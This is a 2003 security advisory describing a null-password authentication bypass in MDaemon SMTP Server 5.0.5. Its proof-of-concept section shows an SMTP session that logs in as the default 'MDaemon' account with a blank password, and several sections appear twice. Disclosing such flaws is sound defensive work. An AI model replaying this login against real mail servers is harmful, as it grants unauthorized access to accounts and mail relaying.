MDaemon SMTP Server Null Password Authentication Vulnerability
BID:8382
Info
MDaemon SMTP Server Null Password Authentication Vulnerability
| Bugtraq ID: | 8382 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 09 2003 12:00AM |
| Updated: | Aug 09 2003 12:00AM |
| Credit: | Discovery of this vulnerability has been credited to "Buckaroo Banzai" <[email protected]>. |
| Vulnerable: |
Deerfield MDaemon 5.0.5 |
| Not Vulnerable: | |
Discussion
MDaemon SMTP Server Null Password Authentication Vulnerability
A vulnerability has been reported to affect the MDaemon SMTP authentication handler.
It has been reported that any valid username or account can be used in conjunction with a null password, to access the MDaemon SMTP server. This issue may be exaggerated, because a default MDaemon account 'MDaemon' is well known.
A vulnerability has been reported to affect the MDaemon SMTP authentication handler.
It has been reported that any valid username or account can be used in conjunction with a null password, to access the MDaemon SMTP server. This issue may be exaggerated, because a default MDaemon account 'MDaemon' is well known.
Exploit / POC
MDaemon SMTP Server Null Password Authentication Vulnerability
The following demonstration has been supplied:
220 xxx.com ESMTP MDaemon 5.0.5; Sat, 02 Aug 2003 00:51:06 +0200
EHLO localhost
250-xxx.com Hello localhost, pleased to meet you
250-ETRN
250-AUTH LOGIN CRAM-MD5
250-8BITMIME
250 SIZE 0
AUTH LOGIN
334 VXNlcm5hbWU6 (334 Username:)
TURhZW1vbg== (MDaemon)
334 UGFzc3dvcmQ6 (334 Password:)
(blank password)
235 Authentication successful
The following demonstration has been supplied:
220 xxx.com ESMTP MDaemon 5.0.5; Sat, 02 Aug 2003 00:51:06 +0200
EHLO localhost
250-xxx.com Hello localhost, pleased to meet you
250-ETRN
250-AUTH LOGIN CRAM-MD5
250-8BITMIME
250 SIZE 0
AUTH LOGIN
334 VXNlcm5hbWU6 (334 Username:)
TURhZW1vbg== (MDaemon)
334 UGFzc3dvcmQ6 (334 Password:)
(blank password)
235 Authentication successful
Solution / Fix
MDaemon SMTP Server Null Password Authentication Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
MDaemon SMTP Server Null Password Authentication Vulnerability
References:
References:
- MDaemon Product Page (Deerfield)
- MDaemon 5.0.5 authentication vulnerability ("Buckaroo Banzai"